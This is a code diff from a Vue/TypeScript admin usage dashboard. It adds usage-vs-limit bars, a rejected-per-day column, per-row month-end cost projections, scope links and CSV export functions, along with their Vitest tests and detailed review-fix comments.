const col = columns.find((c) => c.id === 'costDay')
const cell = col?.cell as (ctx: { row: { original: AdminUsageEntryView } }) => unknown
const rendered = cell({ row: { original: testEntry() } })
const rendered = cellOf(col)({ row: { original: testEntry() } })
expect(isVNode(rendered)).toBe(false)
expect(rendered).toBe('$1.2345')
})
it('a storeDown row still masks every count cell as "?" regardless of compact rendering', () => {
const col = columns.find((c) => c.id === 'tokInDay')
const cell = col?.cell as (ctx: { row: { original: AdminUsageEntryView } }) => unknown
const rendered = cell({ row: { original: testEntry({ storeDown: true }) } })
const rendered = cellOf(col)({ row: { original: testEntry({ storeDown: true }) } })
expect(rendered).toBe('?')
})
// Review finding: TanStack's getAutoSortingFn only inspects rows 11+
// (RowSorting.js's own `flatRows.slice(10)`) to auto-detect numeric vs.
// string sorting, so a Groups table with 10 or fewer rows silently fell
// back to `basic` (plain string a > b comparison) for the Members
// column, sorting "10" before "9". An explicit sortingFn sidesteps that
// row-count-dependent auto-detection entirely.
// back to `basic` (plain string a > b comparison), sorting "10" before "9".
// An explicit sortingFn sidesteps that row-count-dependent auto-detection
// entirely.
it('the secondary (Members/Group) column declares an explicit sortingFn, not left to row-count-dependent auto-detection', () => {
const col = columns.find((c) => c.id === 'secondary')
expect(col?.sortingFn).toBe('alphanumeric')
expect((col as { sortingFn?: string }).sortingFn).toBe('alphanumeric')
})
it('sorting a set of entries by reqDay orders numerically, not lexicographically (the bug this separation prevents)', () => {
@@ -93,3 +95,181 @@ describe('usageColumns: sorting stays on raw numeric values', () => {
// accessorFn must stay numeric.
})
})
// F1 (usage-vs-limit bars): a column built with limitOf renders a UsageBar
// beside its number ONLY when the row's own limit is actually configured
// and the row is not storeDown — no fabricated bar for an unlimited scope.
describe('usageColumns: F1 usage-vs-limit bars', () => {
const columns = usageColumns('Name', 'Group', () => 'g')
it('reqDay renders a bare CompactNumber vnode, no bar, when the row has no limit configured', () => {
const col = columns.find((c) => c.id === 'reqDay')
const rendered = cellOf(col)({ row: { original: testEntry() } }) as VNode
expect(rendered.type).not.toBe('span')
})
it('reqDay wraps the number with a UsageBar when the row has that limit configured', () => {
const col = columns.find((c) => c.id === 'reqDay')
const entry = testEntry({ limits: { requestsPerDay: 100 }, requestsPerDay: 40 })
const rendered = cellOf(col)({ row: { original: entry } }) as VNode
expect(isVNode(rendered)).toBe(true)
expect(rendered.type).toBe('span')
const children = rendered.children as VNode[]
expect(children).toHaveLength(2)
expect(children[1].props?.ratio).toBeCloseTo(0.4)
})
it('the token-day columns measure the bar against the COMBINED in+out total, not each column\'s own individual count', () => {
const col = columns.find((c) => c.id === 'tokInDay')
const entry = testEntry({ limits: { tokensPerDay: 1000 }, tokensInPerDay: 300, tokensOutPerDay: 400 })
const rendered = cellOf(col)({ row: { original: entry } }) as VNode
const children = rendered.children as VNode[]
expect(children[1].props?.ratio).toBeCloseTo(0.7)
})
it('a cost column converts its USD limit to micro-USD before computing the ratio', () => {
const col = columns.find((c) => c.id === 'costDay')
const entry = testEntry({ limits: { costPerDayUSD: 1 }, costPerDayMicroUsd: 250_000 })
const rendered = cellOf(col)({ row: { original: entry } }) as VNode
const children = rendered.children as VNode[]
expect(children[1].props?.ratio).toBeCloseTo(0.25)
})
it('renders no bar for a storeDown row even when a limit is configured', () => {
const col = columns.find((c) => c.id === 'reqDay')
const entry = testEntry({ limits: { requestsPerDay: 100 }, storeDown: true })
expect(cellOf(col)({ row: { original: entry } })).toBe('?')
})
// P10 review fix: the token columns' bar must announce the COMBINED
// in+out measurement it actually shows, not the column's own single-
// direction header text — a screen-reader user has no other column
// beside it to infer that from, unlike a sighted reader.
it('the tokIn/day column\'s bar label spells out "tokens (in+out)/day", not the column header "tokIn/day"', () => {
const col = columns.find((c) => c.id === 'tokInDay')
const entry = testEntry({ limits: { tokensPerDay: 1000 }, tokensInPerDay: 300, tokensOutPerDay: 400 })
const rendered = cellOf(col)({ row: { original: entry } }) as VNode
const children = rendered.children as VNode[]
expect(children[1].props?.label).toBe('tokens (in+out)/day')
})
it('the tokOut/month column\'s bar label spells out "tokens (in+out)/month"', () => {
const col = columns.find((c) => c.id === 'tokOutMonth')
const entry = testEntry({ limits: { tokensPerMonth: 1000 }, tokensInPerMonth: 300, tokensOutPerMonth: 400 })
const rendered = cellOf(col)({ row: { original: entry } }) as VNode
const children = rendered.children as VNode[]
expect(children[1].props?.label).toBe('tokens (in+out)/month')
})
it('the req/day column\'s bar label is "req/day" (matches its own header — no in+out ambiguity there)', () => {
const col = columns.find((c) => c.id === 'reqDay')
const entry = testEntry({ limits: { requestsPerDay: 100 }, requestsPerDay: 40 })
const rendered = cellOf(col)({ row: { original: entry } }) as VNode
const children = rendered.children as VNode[]
expect(children[1].props?.label).toBe('req/day')
})
// P11 review fix: numericColumn now reuses budgetRatios (lib/usage-bars.ts)
// instead of its own dropped limitOf/usdLimitMicros — a cost limit that
// rounds to 0 micro-USD is skipped (no bar, no Infinity/NaN ratio),
// exactly like Go, rather than the column's old independent conversion
// disagreeing with budgetRatios about it.
it('costDay renders no bar (skips, does not divide by 0) when the configured limit rounds to 0 micro-USD', () => {
const col = columns.find((c) => c.id === 'costDay')
const entry = testEntry({ limits: { costPerDayUSD: 0.0000001 }, costPerDayMicroUsd: 5 })
const rendered = cellOf(col)({ row: { original: entry } })
expect(isVNode(rendered)).toBe(false) // plain formatted text, not a UsageBar-wrapping span
})
})
// F6 (ScopeLink id cell): the id column renders a ScopeLink pointed at
// this row's own "kind:id" Charts scope, never a plain span — the click-
// through-to-Charts affordance every Users/Groups/Members row gets.
describe('usageColumns: F6 id cell is a ScopeLink', () => {
const columns = usageColumns('Name', 'Group', () => 'g')
const col = columns.find((c) => c.id === 'id')
it('renders a ScopeLink vnode, not a plain span', () => {
const rendered = cellOf(col)({ row: { original: testEntry({ id: 'alice', kind: 'user' }) } }) as VNode
expect(rendered.type).toBe(ScopeLink)
})
it('builds the scope as "user:{id}" for a user row', () => {
const rendered = cellOf(col)({ row: { original: testEntry({ id: 'alice', kind: 'user' }) } }) as VNode
expect(rendered.props?.scope).toBe('user:alice')
expect(rendered.props?.label).toBe('alice')
})
it('builds the scope as "group:{id}" for a group row', () => {
const rendered = cellOf(col)({ row: { original: testEntry({ id: 'eng', kind: 'group' }) } }) as VNode
expect(rendered.props?.scope).toBe('group:eng')
})
it('is not masked by storeDown — a scope link stays clickable even for a row with stale/unknown counters', () => {
const rendered = cellOf(col)({ row: { original: testEntry({ id: 'alice', kind: 'user', storeDown: true }) } }) as VNode
expect(rendered.type).toBe(ScopeLink)
})
})
// F4 (rejected/day column): destructive tint applies only once the count
// is actually positive — a healthy scope (0 rejections) renders plain,
// matching every other "nothing to show reads as no flag" indicator in
// this panel (ProvidersView.vue's badges).
describe('usageColumns: F4 rejected/day column', () => {
const columns = usageColumns('Name', 'Group', () => 'g')
const col = columns.find((c) => c.id === 'rejDay')
it('accessorFn reads the raw rejectionsPerDay number', () => {
expect(accessorFnOf(col)(testEntry({ rejectionsPerDay: 12 }), 0)).toBe(12)
})
it('renders no destructive class when rejectionsPerDay is 0', () => {
const rendered = cellOf(col)({ row: { original: testEntry({ rejectionsPerDay: 0 }) } }) as VNode
expect(rendered.props?.class).toBeUndefined()
})
it('renders a destructive class when rejectionsPerDay is positive', () => {
const rendered = cellOf(col)({ row: { original: testEntry({ rejectionsPerDay: 3 }) } }) as VNode
expect(rendered.props?.class).toBe('text-destructive')
})
it('masks as "?" for a storeDown row', () => {
expect(cellOf(col)({ row: { original: testEntry({ storeDown: true }) } })).toBe('?')
})
})
// F7 (cost forecast per row): costMonthProjColumn extrapolates each row's
// own costPerMonthMicroUsd against the SAME `now` every row in one
// usageColumns() call shares — passed in explicitly so this stays
// deterministic under test (coordinator brief: "now passed as prop for
// determinism").
describe('usageColumns: F7 cost/month (proj.) column', () => {
// Fixed at exactly the midpoint of a UTC 30-day month (April 2026) so
// elapsedFraction is a clean 0.5 — projectMonthEnd(mtd, 0.5) == mtd*2.
const now = new Date(Date.UTC(2026, 3, 16, 0, 0, 0))
const columns = usageColumns('Name', 'Group', () => 'g', now)
const col = columns.find((c) => c.id === 'costMonthProj')
it('renders the projected month-end cost, formatted', () => {
const entry = testEntry({ costPerMonthMicroUsd: 5_000_000 })
const rendered = cellOf(col)({ row: { original: entry } }) as VNode
expect(rendered.children).toBe('$10.0000')
})
it('renders a destructive class + title when the projection exceeds the configured cost/month limit', () => {
const entry = testEntry({ costPerMonthMicroUsd: 5_000_000, limits: { costPerMonthUSD: 8 } })
const rendered = cellOf(col)({ row: { original: entry } }) as VNode
expect(rendered.props?.class).toBe('text-destructive')
expect(rendered.props?.title).toMatch(/exceed/)
})
it('renders no destructive class when the projection stays under the limit', () => {
const entry = testEntry({ costPerMonthMicroUsd: 5_000_000, limits: { costPerMonthUSD: 20 } })
const rendered = cellOf(col)({ row: { original: entry } }) as VNode
expect(rendered.props?.class).toBeUndefined()
})
it('masks as "?" for a storeDown row', () => {
expect(cellOf(col)({ row: { original: testEntry({ storeDown: true }) } })).toBe('?')
})
})
+131 -12
View File
@@ -2,7 +2,11 @@ import type { ColumnDef } from '@tanstack/vue-table'
import { h } from 'vue'
import CompactNumber from '@/components/CompactNumber.vue'
import { formatCost, formatLimits } from '@/lib/format'
import ScopeLink from '@/components/ScopeLink.vue'
import UsageBar from '@/components/UsageBar.vue'
import { headroom, monthProgress, projectMonthEnd } from '@/lib/forecast'
import { formatCost, formatExactInt, formatLimits } from '@/lib/format'
import { BUDGET_RATIO_LABEL, budgetRatios } from '@/lib/usage-bars'
import type { AdminUsageEntryView } from '@/types/api'
/**
@@ -22,6 +26,35 @@ import type { AdminUsageEntryView } from '@/types/api'
* this feature's concern. The accessorFn (and therefore sorting) always
* reads the true raw number either way — only the cell's rendered text
* changes.
*
* F1 (usage-vs-limit bars): `budgetId` optionally names WHICH
* lib/usage-bars.ts BudgetRatio this column illustrates (one of
* budgetRatios' own ids — "reqMin", "reqDay", "tokDay", "tokMonth",
* "costDay", "costMonth"). When the row is not storeDown and
* budgetRatios(row) actually contains that id (i.e. the scope has that
* limit configured), the cell renders a UsageBar beside the number.
*
* P11 review fix (DRY + correctness): this used to take its own
* `limitOf`/`usedOf` accessor pair and re-derive the USD->micro-USD
* conversion locally (a dropped usdLimitMicros helper) — a second,
* independent implementation of exactly what budgetRatios already computes,
* and one that disagreed with it: budgetRatios gated on the RAW USD value
* being truthy before rounding (a limit rounding to 0 micro-USD produced an
* Infinity/NaN ratio there), while this column's own usdLimitMicros rounded
* first — the two could show a bar in one place, mask it in the other, for
* the identical scope. Reusing budgetRatios here (now fixed to round-then-
* skip, matching Go — see that module's own doc comment) makes both paths
* agree by construction: there is only one ratio computation left, not two.
*
* BUDGET_RATIO_LABEL[budgetId] (P10 review fix), not the column's own
* `header`, backs the bar's accessible label: the token columns'
* "tokDay"/"tokMonth" ratio combines BOTH directions
* (budgetRatios' own doc comment), so the bar's aria-label spells out
* "tokens (in+out)/day" — the column HEADER stays "tokIn/day"/"tokOut/day"
* (that identity is real and worth keeping visually), but a screen-reader
* user hearing just "tokIn/day, 1,500 / 2,000" beside a cell showing 500
* has no other cue that the meter measures the combined total, not that
* column's own count.
*/
function numericColumn(
id: string,
@@ -29,6 +62,7 @@ function numericColumn(
read: (entry: AdminUsageEntryView) => number,
format: (n: number) => string = String,
compact = true,
budgetId?: string,
): ColumnDef<AdminUsageEntryView, unknown> {
return {
id,
@@ -38,7 +72,80 @@ function numericColumn(
cell: ({ row }) => {
if (row.original.storeDown) return '?'
const value = read(row.original)
return compact ? h(CompactNumber, { value }) : format(value)
const valueNode = compact ? h(CompactNumber, { value }) : format(value)
if (!budgetId) return valueNode
const ratio = budgetRatios(row.original).find((r) => r.id === budgetId)
if (!ratio) return valueNode
const valueText = compact
? `${formatExactInt(ratio.used)} / ${formatExactInt(ratio.limit)}`
: `${format(ratio.used)} / ${format(ratio.limit)}`
return h('span', { class: 'inline-flex items-center justify-end gap-1.5' }, [
valueNode,
h(UsageBar, { ratio: ratio.ratio, label: BUDGET_RATIO_LABEL[budgetId] ?? header, valueText }),
])
},
}
}
/**
* rejDayColumn (F4) renders rejectionsPerDay — fleet-wide requests denied
* by a limit check today (types/api.ts's own doc comment). Not built via
* numericColumn: it needs a destructive tint whenever the count is
* positive at all (coordinator brief: "destructive tint when > 0"),
* independent of any configured limit/bar — a rejection count itself IS
* the signal, there is nothing to compare it against.
*/
function rejDayColumn(): ColumnDef<AdminUsageEntryView, unknown> {
return {
id: 'rejDay',
header: 'rejected/day',
accessorFn: (entry) => entry.rejectionsPerDay,
meta: { align: 'right' },
cell: ({ row }) => {
if (row.original.storeDown) return '?'
const value = row.original.rejectionsPerDay
return h(CompactNumber, { value, class: value > 0 ? 'text-destructive' : undefined })
},
}
}
/**
* costMonthProjColumn (F7) renders lib/forecast.ts's projected month-end
* cost for each row, extrapolated from that row's own costPerMonthMicroUsd
* — the same math CostForecastCard.vue applies to the Total entry, here
* applied per user/group so an operator can see WHICH scope is on track
* to blow its own cost/month limit, not just the fleet-wide total.
*
* `now` is threaded in from the caller (coordinator brief: "now passed as
* prop for determinism") rather than read via `new Date()` inside this
* module — usageColumns() takes it as an optional parameter, defaulting
* to the real current time for every production call site, so a test can
* pin it instead. elapsedFraction is computed ONCE per usageColumns() call
* (not per row) since every row projects against the identical point in
* the current UTC month.
*/
function costMonthProjColumn(elapsedFraction: number): ColumnDef<AdminUsageEntryView, unknown> {
return {
id: 'costMonthProj',
header: 'cost/month (proj.)',
meta: { align: 'right' },
// Sorting: a not-enough-data-yet row (null projection) has no real
// figure to compare — it sorts as if projected to 0, the smallest
// possible spend, rather than being excluded from sorting entirely.
accessorFn: (entry) => projectMonthEnd(entry.costPerMonthMicroUsd, elapsedFraction) ?? 0,
cell: ({ row }) => {
if (row.original.storeDown) return '?'
const projected = projectMonthEnd(row.original.costPerMonthMicroUsd, elapsedFraction)
if (projected === null) return h('span', { class: 'text-muted-foreground' }, 'not enough data yet')
const result = headroom(projected, row.original.limits?.costPerMonthUSD)
return h(
'span',
{
class: result.willExceed ? 'text-destructive' : undefined,
title: result.willExceed ? 'Projected to exceed the configured cost/month limit' : undefined,
},
formatCost(projected),
)
},
}
}
@@ -52,19 +159,29 @@ function numericColumn(
* bar, so both surfaces sort by the exact same column semantics.
* idLabel/secondaryColumnLabel name the first two columns; secondaryValue
* reads the second column's per-row value (a user's group name, or a
* group's member count).
* group's member count). `now` (F7) defaults to the real current time —
* see costMonthProjColumn's own doc comment for why a caller can override
* it.
*/
export function usageColumns(
idLabel: string,
secondaryColumnLabel: string,
secondaryValue: (entry: AdminUsageEntryView) => string,
now: Date = new Date(),
): ColumnDef<AdminUsageEntryView, unknown>[] {
const elapsedFraction = monthProgress(now)
return [
{
id: 'id',
header: idLabel,
accessorFn: (entry) => entry.id,
cell: ({ row }) => h('span', { class: 'font-medium' }, row.original.id),
// F6: ScopeLink jumps to this row's own Charts scope — "user:{id}"
// or "group:{id}", matching entry.kind exactly (admin.go only ever
// sets kind to "user"/"group"/"total"; a table row is always the
// first two, the "total" entry renders separately in the Total
// card, never as a table row — see UsageView.vue).
cell: ({ row }) =>
h(ScopeLink, { class: 'font-medium', label: row.original.id, scope: `${row.original.kind}:${row.original.id}` }),
},
{
id: 'secondary',
@@ -90,13 +207,15 @@ export function usageColumns(
accessorFn: (entry) => formatLimits(entry.limits),
cell: ({ row }) => h('span', { class: 'text-muted-foreground' }, formatLimits(row.original.limits)),
},
numericColumn('reqMin', 'req/min', (e) => e.requestsPerMinute),
numericColumn('reqDay', 'req/day', (e) => e.requestsPerDay),
numericColumn('tokInDay', 'tokIn/day', (e) => e.tokensInPerDay),
numericColumn('tokOutDay', 'tokOut/day', (e) => e.tokensOutPerDay),
numericColumn('tokInMonth', 'tokIn/month', (e) => e.tokensInPerMonth),
numericColumn('tokOutMonth', 'tokOut/month', (e) => e.tokensOutPerMonth),
numericColumn('costDay', 'cost/day', (e) => e.costPerDayMicroUsd, formatCost, false),
numericColumn('costMonth', 'cost/month', (e) => e.costPerMonthMicroUsd, formatCost, false),
numericColumn('reqMin', 'req/min', (e) => e.requestsPerMinute, String, true, 'reqMin'),
numericColumn('reqDay', 'req/day', (e) => e.requestsPerDay, String, true, 'reqDay'),
rejDayColumn(),
numericColumn('tokInDay', 'tokIn/day', (e) => e.tokensInPerDay, String, true, 'tokDay'),
numericColumn('tokOutDay', 'tokOut/day', (e) => e.tokensOutPerDay, String, true, 'tokDay'),
numericColumn('tokInMonth', 'tokIn/month', (e) => e.tokensInPerMonth, String, true, 'tokMonth'),
numericColumn('tokOutMonth', 'tokOut/month', (e) => e.tokensOutPerMonth, String, true, 'tokMonth'),
numericColumn('costDay', 'cost/day', (e) => e.costPerDayMicroUsd, formatCost, false, 'costDay'),
numericColumn('costMonth', 'cost/month', (e) => e.costPerMonthMicroUsd, formatCost, false, 'costMonth'),
costMonthProjColumn(elapsedFraction),
]
}
+120
View File
@@ -0,0 +1,120 @@
import { describe, expect, it } from 'vitest'
import { modelRankingCsv, usageCsv } from './usage-csv'
import type { AdminUsageEntryView, AdminUsageModelEntry } from '@/types/api'
function testEntry(overrides: Partial<AdminUsageEntryView> = {}): AdminUsageEntryView {
return {
kind: 'user',
id: 'alice',
requestsPerMinute: 1,
requestsPerDay: 2,
tokensInPerDay: 3,
tokensOutPerDay: 4,
tokensInPerMonth: 5,
tokensOutPerMonth: 6,
costPerDayMicroUsd: 1_234_500,
costPerMonthMicroUsd: 12_345_000,
rejectionsPerDay: 7,
...overrides,
}
}
// Fixed at exactly the midpoint of a UTC 30-day month (April 2026) so
// elapsedFraction is a clean 0.5 — projectMonthEnd(mtd, 0.5) == mtd*2 —
// matching usage-columns.spec.ts's own identical fixture for the on-screen
// costMonthProj column, since usageCsv is meant to mirror it exactly.
const NOW = new Date(Date.UTC(2026, 3, 16, 0, 0, 0))
describe('usageCsv', () => {
const HEADER =
'Name,Group,Limits,req/min,req/day,rejected/day,tokIn/day,tokOut/day,tokIn/month,tokOut/month,cost/day (USD),cost/month (USD),"cost/month (proj., USD)"'
it('renders the Users header row with "Group" as the secondary column', () => {
const csv = usageCsv([], 'users', () => '', NOW)
expect(csv).toBe(`${HEADER}\r\n`)
})
it('renders the Groups header row with "Members" as the secondary column', () => {
const csv = usageCsv([], 'groups', () => '', NOW)
expect(csv).toBe(`${HEADER.replace('Group', 'Members')}\r\n`)
})
// P6 review fix: every numeric cell is now a PLAIN machine-readable
// number — no thousands separators (formatExactInt) and no "$" prefix
// (formatCost) — and the trailing cost/month (proj.) column is present.
it('renders one data row per entry, as plain numbers (no locale grouping, no currency symbol), including the projected month-end cost', () => {
const entries = [testEntry({ id: 'alice' }), testEntry({ id: 'bob' })]
const csv = usageCsv(entries, 'users', (e) => `group-of-${e.id}`, NOW)
const lines = csv.split('\r\n')
// costPerDayMicroUsd 1_234_500 -> 1.234500 USD; costPerMonthMicroUsd
// 12_345_000 -> 12.345000 USD; projected = 12_345_000 / 0.5 = 24_690_000
// micro-USD -> 24.690000 USD.
expect(lines[1]).toBe('alice,group-of-alice,none,1,2,7,3,4,5,6,1.234500,12.345000,24.690000')
expect(lines[2]).toBe('bob,group-of-bob,none,1,2,7,3,4,5,6,1.234500,12.345000,24.690000')
})
it('renders "not enough data yet" for the proj. column when too little of the month has elapsed', () => {
const earlyInMonth = new Date(Date.UTC(2026, 3, 1, 0, 5, 0))
const csv = usageCsv([testEntry()], 'users', () => 'g', earlyInMonth)
expect(csv.split('\r\n')[1]).toBe('alice,g,none,1,2,7,3,4,5,6,1.234500,12.345000,not enough data yet')
})
it('formats Limits via formatLimits, matching the on-screen table', () => {
const csv = usageCsv([testEntry({ limits: { requestsPerDay: 100 } })], 'users', () => 'g', NOW)
expect(csv).toContain('req/day 100')
})
it('masks every counter as "?" for a storeDown entry, never a stale number', () => {
const csv = usageCsv([testEntry({ storeDown: true })], 'users', () => 'g', NOW)
const dataLine = csv.split('\r\n')[1]
expect(dataLine).toBe('alice,g,none,?,?,?,?,?,?,?,?,?,?')
})
it('quotes a field that needs it (e.g. a secondaryValue containing a comma)', () => {
const csv = usageCsv([testEntry()], 'users', () => 'a, b', NOW)
expect(csv).toContain('"a, b"')
})
it('defaults `now` to the real current time when omitted (production call sites)', () => {
// Just asserts it does not throw and produces a well-formed row — the
// exact projected value depends on the real clock, covered precisely
// by the explicit-`now` tests above.
const csv = usageCsv([testEntry()], 'users', () => 'g')
expect(csv.split('\r\n')[1].split(',')).toHaveLength(13)
})
})
describe('modelRankingCsv', () => {
const models: AdminUsageModelEntry[] = [
{ id: 'openai/gpt-4', value: 100 },
{ id: 'anthropic/claude', value: 50 },
]
it('renders a header naming the ranked metric, window, and span (quoted — the label itself contains a comma)', () => {
const csv = modelRankingCsv(models, 'Cost', '24h', 24)
expect(csv.split('\r\n')[0]).toBe('Model,"Cost (24h, span 24)"')
})
it('renders one row per model with its raw value when isCostMetric is omitted/false', () => {
const csv = modelRankingCsv(models, 'Requests', '30d', 30)
const lines = csv.split('\r\n')
expect(lines[1]).toBe('openai/gpt-4,100')
expect(lines[2]).toBe('anthropic/claude,50')
})
it('renders just the header for an empty ranking', () => {
expect(modelRankingCsv([], 'Cost', '24h', 24)).toBe('Model,"Cost (24h, span 24)"\r\n')
})
// P6 review fix: a cost-metric ranking's `value` is raw micro-USD with no
// unit stated anywhere — isCostMetric:true states the unit in the header
// and converts each value to a plain decimal USD number.
it('states the USD unit in the header and converts raw micro-USD values to plain decimal USD when isCostMetric is true', () => {
const costModels: AdminUsageModelEntry[] = [{ id: 'openai/gpt-4', value: 1_234_500 }]
const csv = modelRankingCsv(costModels, 'Cost', '24h', 24, true)
const lines = csv.split('\r\n')
expect(lines[0]).toBe('Model,"Cost (USD) (24h, span 24)"')
expect(lines[1]).toBe('openai/gpt-4,1.234500')
})
})
+145
View File
@@ -0,0 +1,145 @@
// F8 (CSV export): builds the actual CSV text for the Usage tab's Users/
// Groups exports (usageCsv) and, imported unmodified by WP-B2's Models
// tab, the model-ranking export (modelRankingCsv). Both funnel through
// lib/csv.ts's toCsv, so quoting/line-ending behavior is defined in
// exactly one place (that module's own doc comment).
import { toCsv } from '@/lib/csv'
import { monthProgress, projectMonthEnd } from '@/lib/forecast'
import { formatLimits } from '@/lib/format'
import { MICROS_PER_USD } from '@/lib/usage-bars'
import type { AdminUsageEntryView, AdminUsageModelEntry } from '@/types/api'
/** UsageCsvKind picks the second column's label — "Group" for a Users export (each row's own group membership), "Members" for a Groups export (each row's member count) — mirroring usage-columns.ts's own usageColumns(idLabel, secondaryColumnLabel, ...) call sites in UsageTable.vue/UsageView.vue exactly. */
export type UsageCsvKind = 'users' | 'groups'
const USAGE_CSV_SECONDARY_LABEL: Record<UsageCsvKind, string> = {
users: 'Group',
groups: 'Members',
}
/**
* csvCostUsd (P6 review fix) renders a micro-USD integer as a PLAIN
* decimal USD number: 6 decimal places, no "$" prefix, no thousands
* separator. The on-screen table's own formatCost ("$1.2345", 4 decimals,
* `en-US`-locale-shaped) is a DISPLAY convention, not a machine-readable
* one — a spreadsheet importer in a non-en-US locale can misparse a
* currency-symbol-prefixed string entirely, and 4 decimals silently drops
* any sub-$0.0001 precision the underlying micro-USD integer actually
* carries. 6 decimals is exactly the precision 1 micro-USD (the smallest
* unit every cost field on this view is denominated in) can express:
* 1 micro-USD = $0.000001.
*/
function csvCostUsd(micros: number): string {
return (micros / MICROS_PER_USD).toFixed(6)
}
/**
* usageCsv renders one AdminUsageEntryView[] table (Users, or the Groups
* list) as CSV text, mirroring usage-columns.ts's own column set exactly
* so the exported file matches what the on-screen table shows: Name, the
* kind-dependent secondary column, Limits, then every numeric column in
* the same left-to-right order the table renders them in, including
* rejected/day (F4) between req/day and the token columns, and the
* projected month-end cost (F7, P6 review fix — this used to omit it
* despite claiming to mirror the table's column set exactly) last.
*
* `secondaryValue` is the same per-row accessor usageColumns() itself
* takes (groupNameOf for Users, memberCountOf for Groups, both
* UsageView.vue-local) — this module has no opinion on what a group's
* member count is, only how to render the column once given the value.
*
* Every numeric cell is a PLAIN machine-readable number (csvCostUsd above
* for the three cost columns, the raw integer — no formatExactInt
* thousands-grouping — for every count column; `toCsv`'s own `csvField`
* stringifies a raw number for us): P6 review fix, the SAME reasoning
* csvCostUsd's own doc comment gives for cost.
*
* A storeDown row exports "?" for every counter, matching the table's own
* masking convention (usage-columns.ts's numericColumn) — an exported
* spreadsheet must never present a stale/unknown number as if it were
* real.
*
* `now` (F7, default the real current time) is threaded in rather than
* read via `new Date()` inside this module — the same "caller can pin it
* under test" convention costMonthProjColumn/CostForecastCard already
* follow.
*/
export function usageCsv(
entries: AdminUsageEntryView[],
kind: UsageCsvKind,
secondaryValue: (entry: AdminUsageEntryView) => string,
now: Date = new Date(),
): string {
const elapsedFraction = monthProgress(now)
const headers = [
'Name',
USAGE_CSV_SECONDARY_LABEL[kind],
'Limits',
'req/min',
'req/day',
'rejected/day',
'tokIn/day',
'tokOut/day',
'tokIn/month',
'tokOut/month',
'cost/day (USD)',
'cost/month (USD)',
'cost/month (proj., USD)',
]
const rows = entries.map((entry) => {
const masked = entry.storeDown
const projected = masked ? null : projectMonthEnd(entry.costPerMonthMicroUsd, elapsedFraction)
return [
entry.id,
secondaryValue(entry),
formatLimits(entry.limits),
masked ? '?' : entry.requestsPerMinute,
masked ? '?' : entry.requestsPerDay,
masked ? '?' : entry.rejectionsPerDay,
masked ? '?' : entry.tokensInPerDay,
masked ? '?' : entry.tokensOutPerDay,
masked ? '?' : entry.tokensInPerMonth,
masked ? '?' : entry.tokensOutPerMonth,
masked ? '?' : csvCostUsd(entry.costPerDayMicroUsd),
masked ? '?' : csvCostUsd(entry.costPerMonthMicroUsd),
masked ? '?' : projected === null ? 'not enough data yet' : csvCostUsd(projected),
]
})
return toCsv(headers, rows)
}
/**
* modelRankingCsv renders the Models tab's current ranking (WP-B2,
* ChartsView.vue) as CSV text: one row per ranked model, `id` (the
* canonical "provider/model" that served the traffic — AdminUsageModelEntry's
* own doc comment, types/api.ts) and its `value` for the ranked metric.
* `metricLabel`/`windowLabel`/`span` are the caller's own already-resolved
* DISPLAY strings/number (e.g. MODEL_METRIC_LABEL[modelMetric],
* WINDOW_LABEL[window], WINDOW_SPAN[window] — stores/history.ts, WP-B2),
* not re-derived here: this module stays independent of WP-B2's store, and
* the second header column names exactly what was ranked and over what
* span, so the exported file is self-describing without a caller needing
* to cross-reference the filename.
*
* `isCostMetric` (P6 review fix): the cost-metric ranking's `value` is raw
* micro-USD — the on-screen chart/CSV both used to export it as-is, with
* no unit stated anywhere in the header. The caller states whether the
* CURRENTLY ranked metric is cost (`history.modelMetric === 'cost'`); when
* true, the header gains an explicit " (USD)" unit suffix and every value
* converts to a plain decimal USD number via the same csvCostUsd
* convention usageCsv uses above. Every OTHER metric (requests, tokens in/
* out) is already a plain raw integer with no unit ambiguity, so this
* defaults to false and changes nothing for them.
*/
export function modelRankingCsv(
models: AdminUsageModelEntry[],
metricLabel: string,
windowLabel: string,
span: number,
isCostMetric = false,
): string {
const unit = isCostMetric ? ' (USD)' : ''
const headers = ['Model', `${metricLabel}${unit} (${windowLabel}, span ${span})`]
const rows = models.map((m) => [m.id, isCostMetric ? csvCostUsd(m.value) : m.value])
return toCsv(headers, rows)
}
+1
View File
@@ -18,6 +18,7 @@ function entry(id: string, groupName?: string, groups?: string[]): AdminUsageEnt
tokensOutPerMonth: 0,
costPerDayMicroUsd: 0,
costPerMonthMicroUsd: 0,
rejectionsPerDay: 0,
}
}